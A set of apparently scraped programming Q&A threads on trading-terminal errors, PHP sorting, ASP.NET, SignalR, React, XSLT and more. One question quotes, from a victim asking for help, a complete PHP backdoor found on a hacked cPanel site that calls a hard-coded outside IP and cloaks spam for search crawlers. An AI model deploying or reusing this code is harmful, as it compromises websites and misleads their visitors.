lot-volumes: being more restricted by the Broker-specific settings, per instrument, of three key values, all allowable volume sizes have to meet: [aMinLOTs<=, +aMinLotSTEP, <=aMaxLOTs] + a proper digit normalisation~ thus a double NormalizeLOTs( aProposedVOLUME ) {...} is a handy tool for a seamless implementation of both parts of this need.

Error 4111:
There are a few other barriers, that prevent your MetaTrader Terminal 4 from running your code smooth:

4111
ERR_SHORTS_NOT_ALLOWED
Shorts are not allowed. Check the Expert Advisor properties

 if (  !TerminalInfoInteger( TERMINAL_TRADE_ALLOWED ) )
        Alert( "Check if automated trading is allowed in the terminal settings!" );
 else  if (  !MQLInfoInteger( MQL_TRADE_ALLOWED ) )
             Alert( "Automated trading is forbidden in the program settings for ",
                    __FILE__
                    );

This instructs user to revise MetaTrader Terminal 4 settings,under MT4 -> Tools -> Options -> ExpertAdvisor Taband Broker-side Trading Instrument conditions, where shorting for some instruments may be restricted in general, or just for certain Account type(s).
 if (  !AccountInfoInteger( ACCOUNT_TRADE_EXPERT ) )
        Alert( "Automated trading is forbidden for the account",
                AccountInfoInteger( ACCOUNT_LOGIN ),
               " at the trade server side. Contact Broker's Customer Care Dept."
               );

For more details, printScreens and demonstrated programmatic handling of this group of both Terminal-side / Broker-side barriers: ref.-> MQL4 Reference / MQL4 programs / Trade Permission


text:
Q: Need to sort array in ASC or DESC order by their title value Below is my array,
     Array
   (
    [0] => Array
    (
        [topic_title] => gff
        [title] => gff
    )
[1] => Array
    (
        [topic_title] => new toipic
        [title] => new toipic
    )
[2] => Array
    (
        [topic_title] => Welcome!
        [title] =>Welcome!
    )
[3] => Array
    (
        [entry_title] => sdasdad
        [title] => sdasdad
    )
[4] => Array
    (
        [event_title] => red
        [title] => red
    )
[5] => Array
    (
        [event_title] => sa
        [title] => sa
    )
[6] => Array
    (
        [event_title] => sadasd
        [title] => sadasd
    )
[7] => Array
    (
        [event_title] => Test Event
        [title] => Test Event
    )
)

I want the output like below
   Array(
[0] => Array
        (
            [event_title] => Test Event
            [title] => Test Event
        )
 [1] => Array
        (
            [event_title] => Welcome!
            [title] => Welcome!
        )
    [2] => Array
        (
            [event_title] => sa
            [title] => sa
        )
    [3] => Array
        (
            [entry_title] => sdasdad
            [title] => sdasdad
        )
    [4] => Array
        (
            [event_title] => sadasd
            [title] => sadasd
        )
    [5] => Array
        (
            [event_title] => red
            [title] => red
        )
    [6] => Array
        (
            [topic_title] => new toipic
            [title] => new toipic
        )
    [7] => Array
        (
            [topic_title] => gff
            [title] => gff
        )
)

This is the print code from PHP 5.6.
I uses usort() function but didn't get required one. I am not able to sort array in assenting or descending order by their title key.
This array  I am getting  from different queries an d after that I merge it in one array but not able to sort it by title value

A: Try this :
$array = Array ( Array("topic_title" => "aatoipic","title" => "new toipic"),Array("event_title" => "Test Event","title" => "Test Event"),Array("topic_title" => "Welcome!", "title" => "Welcome!"),Array("entry_title" => "sdasdad","title" => "p",),Array("event_title" => "red","title" => "k",),Array("event_title" => "sa","title" => "sa"),Array("event_title" => "sadasd","title" => "d"),Array("topic_title" => "gff", "title" => "gff"),Array( "topic_title" => "new toipic","title" => "h"));

    $arr  = $array;
    $sort = array();
    foreach($arr as $k=>$v) {
        $sort['title'][$k] = $v['title'];
    }

    array_multisort($sort['title'], SORT_ASC, $arr);

    echo "<pre>";
    print_r($arr);

Output will come :
Array ( [0] => Array ( [event_title] => Test Event [title] => Test Event ) [1] => Array ( [topic_title] => Welcome! [title] => Welcome! ) [2] => Array ( [event_title] => sadasd [title] => d ) [3] => Array ( [topic_title] => gff [title] => gff ) [4] => Array ( [topic_title] => new toipic [title] => h ) [5] => Array ( [event_title] => red [title] => k ) [6] => Array ( [topic_title] => aatoipic [title] => new toipic ) [7] => Array ( [entry_title] => sdasdad [title] => p ) [8] => Array ( [event_title] => sa [title] => sa ) )

A: usort will do the trick:
usort($array, function($x, $y) {
    return strcasecmp($x['title'], $y['title']);
});

A: You can use array_multisort() to achieve the desired result.
E.g
$title = array();
foreach ($post as $key => $row)
{
    $title[$key] = $row['title'];
}
array_multisort($title, SORT_DESC, $post);

A: You need to use usort with a strcasecmp:
function querySort ($x, $y) {
     return strcasecmp($x['title'], $y['title']);
}

usort($myArray, 'querySort');


text:
Q: active required validation on radio button selection i want to active / disable required field on dropdownlist , if radiobutton1 checked requiredvalidator active else remain disable.
html code
 <asp:RadioButton runat="server" id="radioA1" GroupName="overseas" />
  Yes

  <asp:RadioButton runat="server" id="radioA2" GroupName="overseas" />
  No

  <asp:RadioButton runat="server" id="radioA3" GroupName="overseas" />
  Not Applicable

  Overseas Country
  <asp:DropDownList ID="DropDownList10" AppendDataBoundItems="True" CssClass="form-control mySelecBox" runat="server" DataSourceID="newCountry" DataTextField="Country" DataValueField="CountryGuid">
          <asp:ListItem Text="" Value="" />
  </asp:DropDownList>

<asp:SqlDataSource ID="newCountry" runat="server" ConnectionString="<%$ ConnectionStrings:umtonlineConnectionString %>" SelectCommand="SELECT [CountryGuid], [Country] FROM [countries]"></asp:SqlDataSource>

<asp:RequiredFieldValidator ID="RequiredFieldValidator13" runat="server" ControlToValidate="DropDownList10" Enabled="False" ErrorMessage="Oversea country required *" ForeColor="#CC0000" ValidationGroup="step1"></asp:RequiredFieldValidator>

Jquery code:
 $(document).ready(function () {

        $('#<%=radioA1.ClientID%>').click(function () {

            alert("its working");     // this part work fine.

            ValidatorEnable($('#<%=RequiredFieldValidator13%>'));

        });
     });

A: First, that should obviously be calling ClientID:
'#<%=RequiredFieldValidator13.ClientID%>'

Second, ValidatorEnable expects a dom object, not a jQuery one. So
var validator = document.getElementById('<%=RequiredFieldValidator13.ClientID%>');

or, as suggested by kman in the comments:
var validator = $('#<%=RequiredFieldValidator13.ClientID%>')[0];

Third, it also expects a second parameter, boolean specifying whether to enable or disable the validator. I guess this should be set according to the dropdownlist value.


text:
Q: Deletar dados de um db usando sqlite3 e bottle (python) Estou tentando fazer, utilizando o framework BottlePy, um CRUD no formato ToDo (como no exemplo mostrado na própria documentação do bottle https://bottlepy.org/docs/dev/tutorial_app.html). Até o momento as funções de adicionar item e alterar item está funcionando bem. A minha dúvida é na função delete. A imagem a seguir resume meu código:

Quando clico no botão delete da minha lista, sou redirecionado para o link  local host do item selecionado (http://localhost:8080/delete2) e tenho o seguinte retorno na página:
Error: 500 Internal Server Error
Sorry, the requested URL 'http://localhost:8080/delete2' caused an error:
Internal Server Error
Exception:
ValueError('parameters are of unsupported type')
Traceback:
Traceback (most recent call last):
  File "/home/jonathan/dev/bottle01/venv/lib/python3.7/site-packages/bottle.py", line 862, in _handle
    return route.call(**args)
  File "/home/jonathan/dev/bottle01/venv/lib/python3.7/site-packages/bottle.py", line 1740, in wrapper
    rv = callback(*a, **ka)
  File "svr.py", line 50, in delete_item
    cur.execute ('DELETE FROM todo WHERE id = ?', (nu))
ValueError: parameters are of unsupported type
O problema é: Não estou conseguindo fazer o botão delete deletar o item selecionado. A ideia era fazer uma espécie de alert box para deletar o item da lista ToDo. Desde já, agradeço a ajuda!


text:
Q: Channel Global Admin Microsoft Teams I have heard of cases where Microsoft teams channels have different permission roles.
Roles like

*

*Team Owner

*App Admin or Global Admin.

Am currently building a feature in Microsoft teams bot, I want to utilize channel permission levels to differentiate the roles of a bot admin, team owner and just a regular team member.
Please who has any idea how I can introduce these different permissions, that's if they are not there on default. Also if they exist how can I access them?
We want to check the user permissions from the task module in the Microsoft teams bot, How possible is this and how can it be done?
Thanks.

A: There are different levels of permissions that must be taken care before giving permissions.

*

*You can manage the app permission policies in Teams level

Check with the link mentioned: Link

*Microsoft Teams App permissions and considerations
a. Bot Level
b. Messaging extensions
c. Tabs
d. Connectors

Check the link mentioned: Link

A: There are two main roles in Teams:
Team owner - The person who creates the team. Team owners can make any member of their team a co-owner when they invite them to the team or at any point after they've joined the team. Having multiple team owners lets you share the responsibilities of managing settings and membership, including invitations.
Team members - The people who the owners invite to join their team.
Ref Doc: https://learn.microsoft.com/en-us/microsoftteams/teams-channels-overview#membership-roles-and-settings
You can get the roles in conversationMember resource type.
You can go through below link for more details.
https://learn.microsoft.com/en-us/graph/api/resources/conversationmember?view=graph-rest-1.0


text:
Q: session value stored is displayed only after I refresh page I am trying to display the username and other session values stored in session at login.php. I post the form in index.php using ajax post which is in script.js. The session is stored but I can retrieve the value only after I refresh the page.
Can anyone please help me sort this issue.
My index.php file

    <?php session_start();
    if(isset($_SESSION['user_name']) && $_SESSION['user_name'] != ''){
        echo "Hello ".$_SESSION['user_name'];
        ?>
        Logout
    <?php } ?>

My script.js file
success: function(html){
  if(html=='true'){
    $("#login_form").fadeOut("normal");
    $("#profile").html("Logout");
}

My login.php
echo 'true';
$_SESSION['user_name']='username';


text:
Q: In public_html folder of my cpanel, file generated automatically In my public_html folder, an index.php file, a .htaccess and a random named file like 'ofvfe.php' is automatically generated. If I delete that file, it will regenerated.
I do scan with virus scanner but found nothing. In terminal, I try to kill that process via 'kill' command, but it's not working. index.php is like ....
<?php $group_num='z1223_3';$inter_domain='http://63.141.251.178/'.$group_num.'/';function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$inter_domain."/indata.php";$map1=$inter_domain."/map.php";$jump1=$inter_domain."/jump.php";$url_words=$inter_domain."/words.php";$url_robots=$inter_domain."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){$robots_cont = getServerCont($url_robots,$data1);define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}exit;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } exit;} if(strpos($req_uri,"allsitemap.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;exit;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1'){$data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;exit;}}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ echo getServerCont($jump1,$data1);exit; } $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if($res_crawl){ $data1['http_user_agent']=$user_agent;$get_content = getServerCont($indata1,$data1);if($get_content=="404"){header('HTTP/1.0 404 Not Found');exit;}else if($get_content=="500"){header("HTTP/1.0 500 Internal Server Error");exit;}else if($get_content=="blank"){echo '';exit;}else{echo $get_content;exit;} }else{ header("HTTP/1.0 404 Not Found"); } ?>

What should I do? Please give me any suggestion. Thanks in advance


text:
Q: how to code PDF ? or for that matter Integration in general. I need to use the Probability Function on a set of values. I am okay with understanding the math, but i don't quite know how to convert that stuff to code.
basically i need the integral of f(x) from a to b where f(x) is the curve of the random function. So how do i calculate it ? I mean if f(x) was (x+5x) and a=5 b=46, how would you calculate the integral ?
I thought people on this site might have done these things before, so i asked this question here.

A: In general one should distinguish three steps for such a task:
a) choosing a discrete approximation to the problem that can be handled by a machine that has a finite memory only. Such algorithms are explained in the literature of numerical mathematics. In this case (numerical approximation to an integral) you could look up e.g. Gauss quadrature or - somewhat more elementary - the Simpson rule.
c) a concrete implementation in a programming language that takes in parameters and spits out numbers. You can find some implementations in C++ in the book Numerical Recipes (people here may crucify me for recommending this book, because there are many over-simplifications and misunderstandings in it. But I think it is still a very good introduction to the basic ideas and algorithms, although professionals need something else, for sure.)
What happended to b) ?
Well, step b) would be a description of a concrete algorithm for the approximation from step a) in a platform-agnostic way (on a higher level of abstraction that a concrete implementation), so that one can implement the algorithm in whatever programming language that is appropriate (including Matlab, Sage, Mathematica). This is usually neglected however in the literature, so that you will have to do it yourself. But a book like "Numerical Recipes" should be a good start.


text:
Q: PowerMockito mocking static method throws UnfinishedStubbingException I've been reading a lot about this error and I cannot find a solution.
This is my example code, you can copy it and launch it to reproduce the error.
Main class:
package example;

import org.junit.runner.RunWith;
import org.mockito.Matchers;
import org.mockito.Mockito;
import org.powermock.api.mockito.PowerMockito;
import org.powermock.core.classloader.annotations.PrepareForTest;
import org.powermock.modules.junit4.PowerMockRunner;

@RunWith(PowerMockRunner.class)
@PrepareForTest({ Utils.class, ClassA.class })
public class Test {

    @org.junit.Test
    public void test() {
        PowerMockito.mockStatic(Utils.class);
        Mockito.when(Utils.process(Matchers.anyString(), Matchers.anyString())).then(invocation -> {
            final String param1 = (String) invocation.getArguments()[0];
            final String param2 = (String) invocation.getArguments()[1];
            return myModifiedStaticMethod(param1, param2);
        });

        final ClassA classA = new ClassA();
        final ClassA classAMock = Mockito.mock(ClassA.class);
        Mockito.when(classAMock.doSomethingDB()).thenReturn(classA.doSomethingFile());

        classAMock.doSomethingDB();
    }

    private static Object myModifiedStaticMethod(String param1, String param2) {
        final String result = param1 + param2 + "modified!";
        System.out.println(result);
        return result;
    }
}

Class with static method:
package example;

public class Utils {

    public static Object process(String param1, String param2) {
        final String result = param1 + param2;
        System.out.println(result);
        return result;
    }
}

Class that uses the static method:
package example;

public class ClassA {

    public Object doSomethingFile() {
        System.out.println("hello! I'm doSomethingFile");
        return Utils.process("class", "a");
    }

    public Object doSomethingDB() {
        System.out.println("hello! I'm doSomethingDB");
        return "stuff";
    }
}

If you run this test the application will throw the next exception:
org.mockito.exceptions.misusing.UnfinishedStubbingException:
Unfinished stubbing detected here:
-> at example.Test.test(Test.java:21)

E.g. thenReturn() may be missing.
Examples of correct stubbing:
    when(mock.isOk()).thenReturn(true);
    when(mock.isOk()).thenThrow(exception);
    doThrow(exception).when(mock).someVoidMethod();
Hints:
 1. missing thenReturn()
 2. you are trying to stub a final method, you naughty developer!
 3: you are stubbing the behaviour of another mock inside before 'thenReturn' instruction if completed

    at org.powermock.core.MockGateway.doMethodCall(MockGateway.java:182)
    at org.powermock.core.MockGateway.doMethodCall(MockGateway.java:164)
    at org.powermock.core.MockGateway.methodCall(MockGateway.java:141)
    at example.Utils.process(Utils.java)
    at example.ClassA.doSomethingFile(ClassA.java:7)
    at example.Test.test(Test.java:21)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
    at java.lang.reflect.Method.invoke(Unknown Source)
    at org.junit.internal.runners.TestMethod.invoke(TestMethod.java:68)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl$PowerMockJUnit44MethodRunner.runTestMethod(PowerMockJUnit44RunnerDelegateImpl.java:326)
    at org.junit.internal.runners.MethodRoadie$2.run(MethodRoadie.java:89)
    at org.junit.internal.runners.MethodRoadie.runBeforesThenTestThenAfters(MethodRoadie.java:97)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl$PowerMockJUnit44MethodRunner.executeTest(PowerMockJUnit44RunnerDelegateImpl.java:310)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit47RunnerDelegateImpl$PowerMockJUnit47MethodRunner.executeTestInSuper(PowerMockJUnit47RunnerDelegateImpl.java:131)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit47RunnerDelegateImpl$PowerMockJUnit47MethodRunner.access$100(PowerMockJUnit47RunnerDelegateImpl.java:59)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit47RunnerDelegateImpl$PowerMockJUnit47MethodRunner$TestExecutorStatement.evaluate(PowerMockJUnit47RunnerDelegateImpl.java:147)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit47RunnerDelegateImpl$PowerMockJUnit47MethodRunner.evaluateStatement(PowerMockJUnit47RunnerDelegateImpl.java:107)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit47RunnerDelegateImpl$PowerMockJUnit47MethodRunner.executeTest(PowerMockJUnit47RunnerDelegateImpl.java:82)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl$PowerMockJUnit44MethodRunner.runBeforesThenTestThenAfters(PowerMockJUnit44RunnerDelegateImpl.java:298)
    at org.junit.internal.runners.MethodRoadie.runTest(MethodRoadie.java:87)
    at org.junit.internal.runners.MethodRoadie.run(MethodRoadie.java:50)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.invokeTestMethod(PowerMockJUnit44RunnerDelegateImpl.java:218)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.runMethods(PowerMockJUnit44RunnerDelegateImpl.java:160)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl$1.run(PowerMockJUnit44RunnerDelegateImpl.java:134)
    at org.junit.internal.runners.ClassRoadie.runUnprotected(ClassRoadie.java:34)
    at org.junit.internal.runners.ClassRoadie.runProtected(ClassRoadie.java:44)
    at org.powermock.modules.junit4.internal.impl.PowerMockJUnit44RunnerDelegateImpl.run(PowerMockJUnit44RunnerDelegateImpl.java:136)
    at org.powermock.modules.junit4.common.internal.impl.JUnit4TestSuiteChunkerImpl.run(JUnit4TestSuiteChunkerImpl.java:121)
    at org.powermock.modules.junit4.common.internal.impl.AbstractCommonPowerMockRunner.run(AbstractCommonPowerMockRunner.java:57)
    at org.powermock.modules.junit4.PowerMockRunner.run(PowerMockRunner.java:59)
    at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.run(JUnit4TestReference.java:89)
    at org.eclipse.jdt.internal.junit.runner.TestExecution.run(TestExecution.java:41)
    at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:541)
    at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:763)
    at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:463)
    at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:209)

This is an example based in my real application, of course it is more complicated than this, but it's based on the same scenario.
Ideas?, thanks!

A: Solution found! the issue is in this line:
Mockito.when(classAMock.doSomethingDB()).thenReturn(classA.doSomethingFile());

if I return an answer instead then it works:
Mockito.when(classAMock.doSomethingDB()).then(invocation -> classA.doSomethingFile());

Just in case there was someone working on this problem, thank you!


text:
Q: Not able to connect from javascript signalr client to azure client Here is my stuff:
Javascript:
 var connection = new signalR.HubConnectionBuilder()
                .configureLogging(signalR.LogLevel.Debug)
                .withUrl("/client/?hub=myHub")
                .withAutomaticReconnect().build();

OR
 var connection = new signalR.HubConnectionBuilder()
                .configureLogging(signalR.LogLevel.Debug)
                .withUrl("https://azure-service.service.signalr.net/client/?hub=myHub")
                .withAutomaticReconnect().build();

C# Startup.cs:
    // Azure SignalR service
    app.UseAzureSignalR(routes =>
    {
        routes.MapHub<MyHub>("/myHub");
    });

Its getting following error:
400 - https://localhost:44324/client/negotiate?hub=myHub&negotiateVersion=1
Failed to complete negotiation with the server: Error

A: You need add ConnectionString in appsettings.json. It works for me. You also can download my sample code.


text:
Q: Changing color of a row in dropdown list Is it possible to change "selector" color in drop-down list?
 <select name="select" style="background-color: #ff0000">
 <option style="background-color: #ff0000" value="1">Red</option>
 <option style="background-color: #ffffff" value="2">Green</option>
 <option style="background-color: #0000ff" value="3">Blue</option>
 </select>

I tried in above style but it didn't worked. I know with JavaScript getting document.getElementById('text').style.color='red' can set the color.
But is it possible in HTML to set the colors?

A: To preserve the background color of the selected item (which I believe is what you're after) add the following onchange code:
<select name="select" style="background-color: #ff0000" onchange="this.style.backgroundColor = this.options[this.selectedIndex].style.backgroundColor;">

Live test case: http://jsfiddle.net/yahavbr/LD8Dx/

A: its work correctly in many browsers.
I didnt see any problem with this HTML.

A: It works for me in Google Chrome and Mozilla Firefox.
Edit: also works in IE6


text:
Q: getting infos from my site to another web page i'm making a universty portal and all academic staff has their own my site profile. They have also basic personal web page on university page. i want to get some infos from my site to that basic web page. i want to get especially blog part.
is there any way to do this? can this be made?
thank you and good work..

A: I'm not certain of what you are asking. Is the university page a Sharepoint site in the same farm? In that case you can use e.g. the data view web part to get blogs to display on a central page.
If it's another kind of site (i.e. non SharePoint), I guess Sharepoint web services could help you accomplish this, but there might be easier ways.
Would be nice if you could explain a little more.

A: thank you i've found the solution ;
i can get their infos from the list / library content using standard SPWeb / SPList / SPListItem methods.


text:
Q: Event data for plotly (scattergeo) maps in R Shiny I'm building a shiny app and I'm having some trouble with the plotly map event data. I have created a plotly scatterplot in the past and defined a 'key' variable within the plot_ly function. If I clicked on a point in the scatterplot, the key would be extracted and the key would be used to subset a dataframe and produce a subsequent plot. I'm following the same format in the code below, but the key isn't being stored in the event data. The event data only contains the 'curveNumber' and the 'pointNumber'. It seems to work for the choropleth map found here: https://plot.ly/r/shinyapp-map-click/ but I can't get it to work for 'scattergeo'.
Any help would be greatly appreciated.
library(shiny)
library(plotly)

ui <- shinyUI(fluidPage(

  titlePanel("My Shiny App"),
  sidebarLayout(
    sidebarPanel(
      numericInput("idnum", label = h3("ID #"),
                   value = 3)
    ),
    mainPanel(
      plotlyOutput("map"),
      verbatimTextOutput("click")
    )
  )
))

server <- shinyServer(function(input, output) {

  output$map <- renderPlotly({

    df <- data.frame(id = c(3,6,20,35), lat = c(30.67,32.46,37.83,29.62), lon = c(-97.82, -62.34, -75.67, -85.62))

    sub <- df[which(df$id == input$idnum),]

    g <- list(
      scope = 'north america',
      showland = TRUE,
      landcolor = toRGB("grey83"),
      subunitcolor = toRGB("white"),
      countrycolor = toRGB("white"),
      showlakes = TRUE,
      lakecolor = toRGB("white"),
      showsubunits = TRUE,
      showcountries = TRUE,
      resolution = 50,
      projection = list(
        type = "miller",
        rotation = list(lon = -100)
      ),
      lonaxis = list(
        showgrid = TRUE,
        gridwidth = 0.5,
        range = c(-140, -55),
        dtick = 5
      ),
      lataxis = list(
        showgrid = TRUE,
        gridwidth = 0.5,
        range = c(20, 60),
        dtick = 5
      )
    )

    plot_ly(sub, lon = ~lon, lat = ~lat, key = ~id, text = ~paste(id), hoverinfo = "text",
            marker = list(size = 10),
            type = 'scattergeo',
            locationmode = 'USA-states') %>%
      layout(title = 'Locations', geo = g)
  })

  output$click <- renderPrint({
    d <- event_data("plotly_click")
    if (is.null(d)) "Click events appear here" else d
  })
})

shinyApp(ui = ui, server = server)

A: A workaround to get your key is to replace:
sub <- df[which(df$id == input$idnum),]

with
sub <- df[which(df$id == input$idnum),]
rownames(sub) <- sub$id
key <- row.names(sub)

it looks like key is working with rownames.


text:
Q: Component does not change I am makeing my first steps in react. Now I want to fetch some data from thedogapi.com and and to show the results as cards below the search input.
But it is not working and I am not sure why:
let data = [];

function ApiSearch() {
    async function changeHandler(e) {

        //console.log('https://api.thedogapi.com/v1/breeds/search?q=' + e.target.value.toString());

        let response =
            await fetch('https://api.thedogapi.com/v1/breeds/search?q=' + e.target.value.toString(), {
                mode: 'cors',
                headers: {
                    'x-api-key': 'XXXXXXXXXXXXXXXXXXXX'
                },
            })
        data = await response.text();
        data = JSON.parse(data);
        ApiResults();
    }

    return (
        <Form onSubmit={(e) => e.preventDefault()}>
            <Form.Group className="mb-3" controlId="fromAPISearch">
                <Form.Label>Search for a Breed</Form.Label>
                <Form.Control
                    type="text"
                    placeholder="Some breed.."
                    onChange={changeHandler}
                />
            </Form.Group>
            <Button variant="primary" type="submit">
                Save
            </Button>
            <Button variant="danger" type="reset">
                Reset
            </Button>
            <Button variant="warning" type="reset">
                Delete All Entries
            </Button>
        </Form>
    );
}

ApiResults() can show me the data due console.log() but it is not rendering anything here.
function ApiResults() {
    const results = [];

    data.forEach(d => {
        results.push(
            <Card key={d.id}>
                <Card.Body>
                    {d.name}
                </Card.Body>
            </Card>
        )
    })

    return (
        <Col>
            {
                results.map(
                    result => {return result}
                )
            }
        </Col>
    )
}

I Call 2 Components,  should be the one that shows the results that  gathers.
function App() {
    return (
        <Container>
            <Row>
                <Col>
                    <br/>
                    <ApiSearch/>
                </Col>
            </Row>
            <Row>
                <ApiResults/>
            </Row>
        </Container>
    );
}

export default App;

A: In order for your component to re-render when a variable changes that variables need to be a state.
You can use useState hook to create a state and every time you change that with the setter your component should rer-ender and show its real-time content


text:
Q: How to pass and get the string based xml data in xslt transform using C#? I want to convert one xml file into another xml file using xslt.here, i can able to pass the input document to the XPathDocument and also save the output file in disk by passing outfile into XmlTextWriter.
But now my problem is... i have my input is in string format and i also want output as a string.Instead of passing the location of the input file, i want to pass string that contains the xml data.
so i have to pass string object into xpathDoccument in someway and also get the resultant xml file as a string.Instead of save the output as a file,i want output as a string.
            XPathDocument xpathDoc = new XPathDocument("C:\\InputXml.xml");
            XslCompiledTransform xslt = new XslCompiledTransform();

            string xsltFile = "C:\\conversion.xslt";
            xslt.Load(xsltFile);

            string outputFile = "C:\\myHtml.html";
            XmlTextWriter writer = new XmlTextWriter(outputFile, null);
            xslt.Transform(xpathDoc, null, writer);
            writer.Close();

Please guide me to get out of this issue...

A: XPathDocument accepts TextReader. You can give a stream as new XPathDocument(new StringReader(xmlstring)). Similarly XmlTextWriter accepts TextWriter. So you can pass a StringWriter.
--edit--
var sw = new StringWriter();
XmlTextWriter writer = new XmlTextWriter(sw);
xslt.Transform(xpathDoc, null, writer);
var str= sw.ToString();

A: Try this,
XslTransform  xTrans = new XslTransform();
xTrans.Load(nodeXsltPath);    //xsl file path
XmlDocument input= new XmlDocument();
XmlDocument output= new XmlDocument();
input.LoadXml(xmlString); /* Xml string to be loaaded */
output.Load(xTrans.Transform(input,null,new XmlUrlResolver()));
output.Save(filePathtoSave);


text:
Q: .top jQuery issue with null .top Getting a .top undefined or null error in ie9 for the following code:
jQuery('#menu').menu();
jQuery('#menu').find('a').click(function(e){
    if(jQuery(window).width() < 767) {
        jQuery('#menu').toggleClass('show');
    }
    var $go_to = jQuery(this).attr('href');
    var param = $go_to.split('#')[1];
